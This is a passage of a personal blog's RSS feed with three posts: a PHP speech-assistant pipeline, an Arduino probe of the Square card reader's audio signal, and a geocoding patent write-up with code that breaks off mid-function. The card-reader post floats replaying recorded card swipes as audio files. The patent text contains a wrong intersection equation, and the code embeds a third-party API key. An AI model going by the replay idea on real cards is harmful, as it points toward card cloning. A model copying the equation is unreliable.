<p>So I recorded my voice on my iphone 3gs asking &#8220;what day is it today?&#8221; and converted it to the appropriate .flac format and posted it to google&#8217;s API and this is what I got in response:</p>
<p><code>{"status":0,"id":"008bd1a95c3c2b04bd754da5e82949f4-1","hypotheses":[{"utterance":"what day is it today","confidence":0.91573924}]}</code></p>
<p>Sweet.</p>
<h2>Database populated with Q&amp;A</h2>
<p>This is probably the most difficult part to obtain.  To build it from scratch would require tons of data and advanced algorithms to interpret sentences constructed in various ways.  I read somewhere that Siri was using Wolfram Alpha&#8217;s database&#8230;.. so&#8230;. I checked out <a href="http://www.wolframalpha.com">Wolfram Alpha</a> and they have an engine that answers your questions.  Not only that, they also offer an API service.  (If you query less than 2000 times a month, it&#8217;s free!).  So I signed up for the API service and tested it out.  I asked it some simple questions like &#8220;What day is it today?&#8221; and &#8220;Who is the president of the United States?&#8221;.  It returns all answers in a well-formed XML format.  </p>
<pre><code>
&lt;?xml version='1.0' encoding='UTF-8'?&gt;
&lt;queryresult success='true'
    error='false'
    numpods='1'
    datatypes='City,DateObject'
    timedout=''
    timing='1.728'
    parsetiming='0.193'
    parsetimedout='false'
    recalculate=''
    id='MSP77719ii856b9090fei40000543b8b9eibb14ida&amp;s=21'
    related='http://www4d.wolframalpha.com/api/v2/relatedQueries.jsp?id=MSP77819ii856b9090fei400001d3h9h126cgaeigc&amp;s=21'
    version='2.1'&gt;
 &lt;pod title='Result'
     scanner='Identity'
     id='Result'
     position='200'
     error='false'
     numsubpods='1'
     primary='true'&gt;
  &lt;subpod title=''
      primary='true'&gt;
   &lt;plaintext&gt;Friday, January 13, 2012&lt;/plaintext&gt;
  &lt;/subpod&gt;
 &lt;/pod&gt;
&lt;/queryresult&gt;
</code></pre>
<p>Again&#8230;. sweet.</p>
<h2>Text to Speech</h2>
<p>This part is easy&#8230; and google makes it even easier with yet another undocumented API!  It&#8217;s straight-forward.  A simple GET request to:<br />
<br /><code>http://translate.google.com/translate_tts?tl=en&amp;q=speech+to+convert</code><br />
Just replace the <code>q</code> parameter with any sentence and you can hear google&#8217;s female robot voice say anything you want.</p>
<h2>Voice Input</h2>
<p>I can either make my program run over a web browser or as a stand-alone app.  Running it over the web browser is cool because I would then be able to run it from just about any machine.  Unfortunately, HTML 5 doesn&#8217;t have a means of recording voice.  My options are a) only use google Chrome, b) make a flash app, c) make a Java applet.</p>
<p>Anywho&#8230; no big deal.</p>
<h2>Putting It All Together</h2>
<pre><code>
&lt;?php
    $stturl = "https://www.google.com/speech-api/v1/recognize?xjerr=1&amp;client=chromium&amp;lang=en-US";
    $wolframurl = "http://api.wolframalpha.com/v2/query?appid=[GET+YOUR+OWN+STINKIN+APP+ID]&amp;format=plaintext&amp;podtitle=Result&amp;input=";
    $ttsurl = "http://translate.google.com/translate_tts?tl=en&amp;q=master+cranky,+";

// Google Speech to Text

    $filename = "./test1.flac";
    $upload = file_get_contents($filename);
    $data = array(
        "Content_Type"  =&gt;  "audio/x-flac; rate=16000",
        "Content"       =&gt;  $upload,
    );
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $stturl);
    curl_setopt( $ch, CURLOPT_HTTPHEADER, array("Content-Type: audio/x-flac; rate=16000"));
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    ob_start();
    curl_exec($ch);
    curl_close($ch);
    $contents = ob_get_contents();
    ob_end_clean();
    $textarray = (json_decode($contents,true));
    $text = $textarray['hypotheses']['0']['utterance'];

// Wolfram Alpha API

    $wolframurl .= urlencode($text);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $wolframurl);
    ob_start();
    curl_exec($ch);
    curl_close($ch);
    $contents = ob_get_contents();
    ob_end_clean();
    $obj = new SimpleXMLElement($contents);
    $answer = $obj-&gt;pod-&gt;subpod-&gt;plaintext;

// Google Text to Speech

    $ttsurl .= urlencode($answer);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ttsurl);
    ob_start();
    curl_exec($ch);
    curl_close($ch);
    $contents = ob_get_contents();
    ob_end_clean();
    header('Content-Type: audio/mpeg');
    header('Cache-Control: no-cache');
    print $contents;
?&gt;
</code></pre>
<p>It responds with <a href="http://www.cranklin.com/jarvis/test.mp3" target="_blank">this answer</a>.  Good girl.<br />
It&#8217;s still missing the voice input portion of the code.  Currently, it just accepts a .flac file.  I wrote 3 chunks of code that I put together as one pipeline of an AI process.  The advantage of this over Siri is that I can intervene at anytime.  I can have it listen for particular questions such as &#8220;who is your master?&#8221; and respond appropriately&#8230;. but more importantly, I can have it listen for &#8220;Turn on my lights&#8221; or &#8220;turn on the TV&#8221; or &#8220;open the garage door&#8221; or &#8220;turn to channel 618&#8243;.  Certain questions will have my bot send a signal to the appropriate Arduino controlled light switch or garage switch or IR blaster and respond with a &#8220;yes, master&#8221;.  I&#8217;ll post videos when it&#8217;s done.</p>
<p><a href="http://www.facebook.com/v/10150476828130869">Here is a video of the prototype in action</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/370/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/370/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/370/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/370/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/370/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/370/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/370/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/370/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=370&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/01/13/building-my-own-siri-jarvis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://translate.google.com/translate_tts?tl=en&amp;amp" length="0" type="audio/mpeg" />
<enclosure url="http://www.cranklin.com/jarvis/test.mp3" length="21169" type="audio/mpeg" />
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/jarvis/siri.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/jarvis/jarvis.png" medium="image" />
	</item>
		<item>
		<title>Hacking the Square</title>
		<link>http://cranklin.wordpress.com/2012/01/04/hacking-the-square/</link>
		<comments>http://cranklin.wordpress.com/2012/01/04/hacking-the-square/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 03:18:40 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[credit card]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[square]]></category>
		<category><![CDATA[square hack]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=295</guid>
		<description><![CDATA[For Christmas, I received a cool little device called the square from Ed Park. You plug this device into the audio mini jack on your smartphone and you can swipe credit cards right on your phone. It&#8217;s perfect for people doing business on the go. Or&#8230; next time your buddy owes you money, the &#8220;I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=295&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>For Christmas, I received a cool little device called <a href="https://www.squareup.com">the square</a> from Ed Park.  You plug this device into the audio mini jack on your smartphone and you can swipe credit cards right on your phone.  It&#8217;s perfect for people doing business on the go.  Or&#8230; next time your buddy owes you money, the &#8220;I don&#8217;t have any cash on me right now&#8221; excuse won&#8217;t work.</p>
<p><img src="http://www.cranklin.com/square/squarescreenshot.png" width="300px" /></p>
<p>  The first strange thing I noticed was that the data was being inputed via the audio jack rather than the data port (located at the bottom of the iphone).  There are 3 types of audio mini jacks:  Mono, stereo, stereo/microphone.  Since the iphone audio jack accepts corded hands-free earpieces as well as earphones for music, it has to be the combo jack (stereo/microphone).</p>
<p><img src="http://www.cranklin.com/square/300px-Jack_plug.png" /></p>
<p>  If you look at the tip, you&#8217;ll notice there are four sections separated by insulated plastic rings.  </p>
<p><img src="http://www.cranklin.com/square/square3.jpg" width="500px" /></p>
<p>  This type of plug is known as the &#8220;TRRS&#8221;.  T-R-R-S stands for Tip-Ring-Ring-Sleeve.  The tip is for Left-channel audio out.  The first ring is for Right-channel audio out.  The second ring is Ground.  The sleeve is for Microphone in.<br />  What I would like to know is how the square transmits your credit card number into the software through the audio port.<br />  Now, before wiring each terminal up to an arduino and outputting data to serial, since input is only possible through the sleeve (microphone terminal), maybe we can find out if the data is actually audible!  By simply plugging it into a computer mic in port or firing the voice recorder app on the iphone, we can find out what our credit cards sound like.</p>
<p><img src="http://www.cranklin.com/square/square4.jpg" width="500px" /></p>
<p>  Interesting.  So if I just recorded the swipe of each of my credit cards, I can technically store credit card numbers as wav files and play them directly into the square software.  I was inspecting each of my credit card wav files and tried to notice some kind of pattern that matched the pattern of my credit card numbers.  I didn&#8217;t think that was going to be successful, but it was worth a shot.  </p>
<p><img src="http://www.cranklin.com/square/Screenshot-13.png" width="500px" /><br /><img src="http://www.cranklin.com/square/Screenshot-14.png" width="500px" /><br /><img src="http://www.cranklin.com/square/Screenshot-15.png" width="500px" /></p>
<p>  I then decided to rig the square swiper up to my arduino and display output to serial. <br /> Here is the arduino code:</p>
<pre><code>
const int mic = A5;
int counter = 0;
void setup()
{
  Serial.begin( 9600 );
}

void loop()
{
  counter++;
  Serial.print(analogRead(mic));
  Serial.print(" ");
  delay(50);
  if(counter&gt;=40){
    counter=0;
    Serial.print("\n");
  }
}
</code></pre>
<p>I chose an analog input because that audio minijack is analog.  I know what each section in the TRRS specs do, but does it need power?  Do I need to connect the ground?  Do I need to power it through both left and right channels?  I wasn&#8217;t sure, so I decided to simply try different combinations.  </p>
<p><img src="http://www.cranklin.com/square/square1.jpg" width="500px" /><br /><img src="http://www.cranklin.com/square/square2.jpg" width="500px" /><br /><img src="http://www.cranklin.com/square/square5.jpg" width="500px" /></p>
<p>  When I connect the ground, I get a bunch of &#8216;O&#8217;s.  When I swipe the credit card, I get a few numbers&#8230; but not nearly enough to carry the data I&#8217;m assuming the stripe holds.  When I disconnect ground I notice something interesting.  </p>
<p><img src="http://www.cranklin.com/square/Screenshot--dev-ttyACM0-4.png" width="500px" /></p>
<p>  Now I&#8217;m still not sure if I&#8217;m on the right track because I expected a bunch of 1&#8242;s and 0&#8242;s&#8230;. but I noticed a pattern in the numbers.  The numbers are grouped in 4&#8242;s.  Every four numbers, the pattern repeats itself.</p>
<p><img src="http://www.cranklin.com/square/pattern.png" width="500px" /></p>
<p>  It makes perfect sense.  I&#8217;m going to assume the credit card stripe MUST be carrying 4 rows of data&#8230; thus 4 different reads from the swiper.  So I tried swiping my credit card to investigate the reads.  (I&#8217;m not posting the output from my credit card here&#8230;. but I&#8217;ll post the output from when I swiped my Disneyland Annual Passport!)</p>
<p><img src="http://www.cranklin.com/square/Screenshot--dev-ttyACM0-5.png" width="500px" /></p>
<p>I&#8217;m gonna go ahead and assume the data isn&#8217;t encrypted (at this level at least.  I&#8217;m pretty certain it&#8217;s encrypted at the software level)&#8230; so it&#8217;s just a matter of deobfuscating it.  Unfortunately for me, I was staring closely at the output and I started getting sleepy.  Hmmm.  I&#8217;m not sure if I&#8217;m on the right track or not&#8230; so feel free to chime in if you have any ideas.  I shall come back to this later.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/295/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=295&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/01/04/hacking-the-square/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/square/squarescreenshot.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/300px-Jack_plug.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/square3.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/square/square4.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/square/Screenshot-13.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/Screenshot-14.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/Screenshot-15.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/square1.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/square/square2.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/square/square5.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/square/Screenshot--dev-ttyACM0-4.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/pattern.png" medium="image" />

		<media:content url="http://www.cranklin.com/square/Screenshot--dev-ttyACM0-5.png" medium="image" />
	</item>
		<item>
		<title>My Onionmap Patent</title>
		<link>http://cranklin.wordpress.com/2011/12/31/my-onionmap-patent/</link>
		<comments>http://cranklin.wordpress.com/2011/12/31/my-onionmap-patent/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 00:27:15 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[geocoding algorithm]]></category>
		<category><![CDATA[geocoding maps]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[onionmap]]></category>
		<category><![CDATA[patents]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=54</guid>
		<description><![CDATA[One of my previous jobs was at Onionmap as the Director of Engineering. Titles mean crap. I don&#8217;t even know what it means to be a &#8220;director&#8221;. A more accurate job title would have been &#8220;systems architect&#8221;&#8230; but whatever. Onionmap was actually pretty cool. They provided interactive maps of major cities (33 to be exact). [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=54&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>One of my previous jobs was at <a href="http://www.onionmap.com">Onionmap</a> as the Director of Engineering. Titles mean crap. I don&#8217;t even know what it means to be a &#8220;director&#8221;. A more accurate job title would have been &#8220;systems architect&#8221;&#8230; but whatever.</p>
<p>Onionmap was actually pretty cool. They provided interactive maps of major cities (33 to be exact). Unlike google maps, they were 3 dimensional visual/artistic renderings representing the city and its major landmarks. In other words, they&#8217;re tourist maps. The maps are skewed, exaggerated while landmarks are enlarged and unsightly objects such as parking lots are non-existant.</p>
<p><img src="http://www.cranklin.com/onionmap.png" alt="" width="500px" /></p>
<p>Prior to my arrival, Onionmap hired many different engineers. Besides talking a big game at meetings, they provided no real work (sort of like politicians). Meeting after meeting, they would sweet-talk everyone else into confidence. At the end of the day, they did absolutely nothing. Another thing these previous &#8220;engineers&#8221; had in common was that they all believed that it was impossible to geocode the skewed maps. In other words, these maps could never be used with GPS data nor pinpoint exact addresses.</p>
<p>When I joined the Onionmap team, I was obsessed with geocoding these maps.</p>
<p><img src="http://www.cranklin.com/onionmap_whiteboard.jpg" alt="" width="500px" /></p>
<p>A couple months into it, I&#8217;ve tested out several different theories&#8230; Pulled out my old trigonometry books&#8230; Tried all sorts of weird things with angle measurements, etc. They weren&#8217;t working. I cleared my head and tried to think simple. I truly believe true engineering is about simplicity. I realized I was onto something with y-intercepts. Yes&#8230; going way back in Math. Then I got it. Before the 3rd month of my employment, I had figured it out and wrote the engine. I presented it to the company and they asked me to do a write-up immediately so they can file it for patent. Patent? Okay.</p>
<p>Now I&#8217;m not a big fan of patent laws and frivolous lawsuits. On top of that, I&#8217;m not even sure of that fate of onionmap. Shame. I don&#8217;t want my algorithm/code to go to waste. At least I can share it with you here on my blog:</p>
<p>You can <a href="http://www.cranklin.com/onionmappatents.doc">download it here</a>.</p>
<p>You&#8217;ll notice the inventors are listed as me, Jonathan Lee (my cool project manager), and a guy named Young Kim.  Mind you, Young Kim is a douchebag that lives in Korea that did absolutely nothing to contribute to this.  He&#8217;s a self proclaimed &#8220;CTO&#8221;, but he has absolutely NO knowledge of anything remotely technical.  Because of this guy, I wasted MUCH time building onionmap versions 1,2,3,4,5,6,7.  No joke.  Two years of working at Onionmap, I built 7 different versions of the site and NONE of it was released.  That&#8217;s how you demoralize your engineer.  Just saying.  Anyways, here is the write-up submitted for patent.</p>
<pre>
<code><br />
Onionmap Patents</p>
<p>Patent #1 Translation OSAT-Geocode:<br />
Inventor: Young Kim, Eddie Kim, Jonathan Lee</p>
<p>Business concept: </p>
<p>Background:<br />
Onionmap Spatial Analysis Technology (OSAT) is a proprietary process to create the beautiful and easy 3D building and map. OSAT is best to be understood as a piece of outstanding art work. Anyone can draw a building and a landscape, but depending on the ability of each artist, each drawing gives different human reactions. OSAT is not patented but it is protected under Onionmap trade mark and copy right.</p>
<p>OSAT is not scaled because OSAT wants to achieve the beautiful representation of a 3D building and the landscape. The proprietary process has a complex making process in order to achieve the beautiful and easy visual representation of the 3D building and the map.  Although it is not scale and there is no consistent way of producing each 3D building and the map, there is a need to translate a Geocode to OSAT code so a location in the real world can be identified on the OSAT visual online interactive map. </p>
<p>Because each OSAT city map is unique, the translation from Geocode to each OSAT map is also unique. However, this unique process is consistent and replicable and accurate. And this unique process of translation is the core component to link to all the business functions of Onionmap products that based on OSAT map. Hence Onionmap intends to patent this process.</p>
<p>Scientific Process of Translation from Geocode to OSAT code<br />
To initialize our transcoding engine, we must follow these steps:</p>
<p>First, we take our map and find the total width and total height.</p>
<p>Next we plot the longitude and latitude pairs for each corner of the map.  (You can use Google maps to find this data)</p>
<p>Once we plot these points, we need to find the exact north/south slope (simply find a street or 2 points on the map that are perfectly parallel to the standard longitude lines)</p>
<p>Using this information, calculate the slope. (Rise over run)</p>
<p>Then we find the exact east/west slope on the map.  (Simply find a street or 2 points on the map that are perfectly parallel to the standard latitude lines)</p>
<p>Using this information, calculate the slope. (Rise over run)</p>
<p>m = (y2 - y1) / (x2 - x1)</p>
<p>How the transcoding engine works:</p>
<p>Given the longitude x, we find 2 corners of the map where x lies between the longitude counterpart of its Geocode location. (If x does not lie between any 2 corners' longitude values, then the target location is outside of our map)</p>
<p>We then find where x lies in relevance to the longitude values of these 2 corners.</p>
<p>ratio = (corner1 - x) / (corner2 - corner1)</p>
<p>Using the slope north and south slope, we find the y-intercept of each of these longitude lines using the following equation in slope intercept form:</p>
<p>y = mx + b   (x and y are onionmap coordinates)</p>
<p>Once we solve for b for each corner (corner1_b, corner2_b), we apply the ratio to our y-intercepts and solve for target_b.</p>
<p>ratio = (corner1_b - target_b) / (corner2_b - corner1_b)</p>
<p>Once we have solved for target_b we plug target_b and the north and south slope m into our equation:</p>
<p>y = mx + b</p>
<p>and we have obtained the equation for our first line longitude_line.</p>
<p>Next we repeat this same process to find our latitude_line by using our east and west slope, and the latitude counterparts of our geocode data.<br />
Once we have solved for latitude_line and longitude_line, we find the intersection of these 2 lines by solving for y and x.</p>
<p>First we solve for x:</p>
<p>(m1 * x) + b1 = (m1 * x) + b2</p>
<p>Then we solve for y:</p>
<p>y = m1 * x + b1    OR<br />
y = m2 * x + b2</p>
<p>We now have our (x,y) pair.</p>
<p>Increase accuracy: so far we take 4 points, corner points, for the translation. If we take 4 more additional points, we can increase accuracy.</p>
<p>The translation for OSAT code to Geocode is a reverse process of the above process.</p>
<p>How the transcoding engine works:</p>
<p>Given the longitude x, we find 2 corners of the map where x lies between the longitude counterpart of its Geocode location. (If x does not lie between any 2 corners' longitude values, then the target location is outside of our map)</p>
<p>We then find where x lies in relevance to the longitude values of these 2 corners.</p>
<p>ratio = (corner1 - x) / (corner2 - corner1)</p>
<p>Using the slope north and south slope, we find the y-intercept of each of these longitude lines using the following equation in slope intercept form:</p>
<p>y = mx + b   (x and y are onionmap coordinates)</p>
<p>Once we solve for b for each corner (corner1_b, corner2_b), we apply the ratio to our y-intercepts and solve for target_b.</p>
<p>ratio = (corner1_b - target_b) / (corner2_b - corner1_b)</p>
<p>Once we have solved for target_b we plug target_b and the north and south slope m into our equation:</p>
<p>y = mx + b</p>
<p>and we have obtained the equation for our first line longitude_line.</p>
<p>Next we repeat this same process to find our latitude_line by using our east and west slope, and the latitude counterparts of our geocode data.<br />
Once we have solved for latitude_line and longitude_line, we find the intersection of these 2 lines by solving for y and x.</p>
<p>First we solve for x:</p>
<p>(m1 * x) + b1 = (m1 * x) + b2</p>
<p>Then we solve for y:</p>
<p>y = m1 * x + b1    OR<br />
y = m2 * x + b2</p>
<p>We now have our (x,y) pair.</p>
<p>Increase accuracy: so far we take 4 points, corner points, for the translation. If we take 4 more additional points, we can increase accuracy.</p>
<p>The translation for OSAT code to Geocode is a reverse process of the above process.</p>
<p>Technology Product:<br />
The following are the initial ‘working’ product in the form of computer software code. Just like every other software, this product will evolve with the time.</p>
<p>Excerpt of Geocode.php (class)<br />
&lt;?php<br />
/*<br />
Geocode class</p>
<p>Usage:<br />
if(!is_object($Geocode)) $geocode = new Geocode($CITY);<br />
*/</p>
<p>//Requirements:</p>
<p>class Geocode {</p>
<p>    // DEBUG MODE<br />
    private $debug = 0;</p>
<p>    // SELECTED CITY<br />
    private $city;</p>
<p>    // COORDINATES FOR EACH CORNER OF THE MAP (OM view)<br />
    private $om_ul_long;<br />
    private $om_ur_long;<br />
    private $om_ll_long;<br />
    private $om_lr_long;<br />
    private $om_ul_lat;<br />
    private $om_ur_lat;<br />
    private $om_ll_lat;<br />
    private $om_lr_lat;</p>
<p>    private $x_min;<br />
    private $x_max;<br />
    private $y_min;<br />
    private $y_max;</p>
<p>    // LONGITUDE AND LATITUDE SLOPE<br />
    private $slope_long;<br />
    private $slope_lat;</p>
<p>    // GEOCODER BASE URL (REST)<br />
    private $geocoder_api_rest = "http://rpc.geocoder.us/service/csv?address=";<br />
    private $yahoo_geocoder_api_rest = "http://local.yahooapis.com/MapsService/V1/geocode?appid=WCZ107vV34Ed.N5OCPbHpRbalLm1nezhYnzoy597AvofLaVUQvItD3AQNNUGZQw-&amp;location=";</p>
<p>    // Constructor<br />
    public function __construct(){<br />
        $city = "las vegas";<br />
        $this-&gt;city = $city;<br />
        switch($city){<br />
            case "las vegas":<br />
                $this-&gt;om_ul_long = -115.22015;<br />
                $this-&gt;om_ul_lat = 36.15413611111111;<br />
                $this-&gt;om_ur_long = -115.13938055555556;<br />
                $this-&gt;om_ur_lat = 36.187127777777775;<br />
                $this-&gt;om_ll_long = -115.17540277777778;<br />
                $this-&gt;om_ll_lat = 36.084944444444446;<br />
                $this-&gt;om_lr_long = -115.10328055555556;<br />
                $this-&gt;om_lr_lat = 36.11882222222222;</p>
<p>                $this-&gt;x_min = 0;<br />
                $this-&gt;x_max = 10565;<br />
                $this-&gt;y_min = 0;<br />
                $this-&gt;y_max = 4700;</p>
<p>                $this-&gt;slope_lat = (4029 - 3609)/(-2859 + 1000);<br />
                $this-&gt;slope_long = (4299 - 3059)/(-1372 + 2888);</p>
<p>                break;<br />
            default:<br />
        }<br />
    }</p>
<p>    public function geocode2omcode($latitude,$longitude){<br />
        if($this-&gt;debug) echo "&lt;br&gt;Geocode::geocode2omcode&lt;br&gt;";<br />
        if($this-&gt;debug) echo "&lt;br&gt;".$latitude."&lt;br&gt;".$longitude;<br />
        if($longitude &gt; $this-&gt;om_ul_long &amp;&amp; $longitude &lt; $this-&gt;om_lr_long &amp;&amp; $latitude &gt; $this-&gt;om_ll_lat &amp;&amp; $latitude &lt; $this-&gt;om_ur_lat){ // check to see if it's within the area (natural view)</p>
<p>            // Convert latitude to om code<br />
            if($latitude &lt; $this-&gt;om_lr_lat){<br />
                $ratio_lat = ($latitude - $this-&gt;om_ll_lat)/($this-&gt;om_lr_lat - $this-&gt;om_ll_lat);<br />
                // y = mx + b<br />
                $b_lat_1 = (-1)*$this-&gt;y_max - ($this-&gt;slope_lat * $this-&gt;x_min);<br />
                $b_lat_2 = (-1)*$this-&gt;y_max - ($this-&gt;slope_lat * $this-&gt;x_max);<br />
                $b_lat = $b_lat_1 + (($b_lat_2 - $b_lat_1) * $ratio_lat); // ($b_lat - $b_lat_1)/($b_lat_2 - $b_lat_1) = $ratio_lat<br />
                // y = ($this-&gt;slope_lat * x) + $b_lat<br />
                if($this-&gt;debug) echo "&lt;br&gt;ll - lr&lt;br&gt;b1,b2: ".$b_lat_1.",".$b_lat_2."&lt;br&gt;ratio: ".$ratio_lat."&lt;br&gt;slope: ".$this-&gt;slope_lat."&lt;br&gt;b: ".$b_lat;<br />
            }<br />
            elseif($latitude &lt; $this-&gt;om_ul_lat){<br />
                $ratio_lat = ($latitude - $this-&gt;om_lr_lat)/($this-&gt;om_ul_lat - $this-&gt;om_lr_lat);<br />
                // y = mx + b<br />
                $b_lat_1 = (-1)*$this-&gt;y_max - ($this-&gt;slope_lat * $this-&gt;x_max);<br />
                $b_lat_2 = (-1)*$this-&gt;y_min - ($this-&gt;slope_lat * $this-&gt;x_min);<br />
                $b_lat = $b_lat_1 + (($b_lat_2 - $b_lat_1) * $ratio_lat); // ($b_lat - $b_lat_1)/($b_lat_2 - $b_lat_1) = $ratio_lat<br />
                // y = ($this-&gt;slope_lat * x) + $b_lat<br />
                IF($THIS-&gt;debug) echo "&lt;br&gt;lr - ul&lt;br&gt;b1,b2: ".$b_lat_1.",".$b_lat_2."&lt;br&gt;ratio: ".$ratio_lat."&lt;br&gt;slope: ".$this-&gt;slope_lat."&lt;br&gt;b: ".$b_lat;<br />
            }<br />
            else{<br />
                $ratio_lat = ($latitude - $this-&gt;om_ul_lat)/($this-&gt;om_ur_lat - $this-&gt;om_ul_lat);<br />
                // y = mx + b<br />
                $b_lat_1 = (-1)*$this-&gt;y_min - ($this-&gt;slope_lat * $this-&gt;x_min);<br />
                $b_lat_2 = (-1)*$this-&gt;y_min - ($this-&gt;slope_lat * $this-&gt;x_max);<br />
                $b_lat = $b_lat_1 + (($b_lat_2 - $b_lat_1) * $ratio_lat); // ($b_lat - $b_lat_1)/($b_lat_2 - $b_lat_1) = $ratio_lat<br />
                // y = ($this-&gt;slope_lat * x) + $b_lat<br />
                if($this-&gt;debug) echo "&lt;br&gt;ul - ur&lt;br&gt;b1,b2: ".$b_lat_1.",".$b_lat_2."&lt;br&gt;ratio: ".$ratio_lat."&lt;br&gt;slope: ".$this-&gt;slope_lat."&lt;br&gt;b: ".$b_lat;<br />
            }</p>
<p>            // Convert longitude to om code<br />
            if($longitude &lt; $this-&gt;om_ll_long){<br />
                $ratio_long = ($longitude - $this-&gt;om_ul_long)/($this-&gt;om_ll_long - $this-&gt;om_ul_long);<br />
                // y = mx + b<br />
                $b_long_1 = (-1)*$this-&gt;y_min - ($this-&gt;slope_long * $this-&gt;x_min);<br />
                $b_long_2 = (-1)*$this-&gt;y_max - ($this-&gt;slope_long * $this-&gt;x_min);<br />
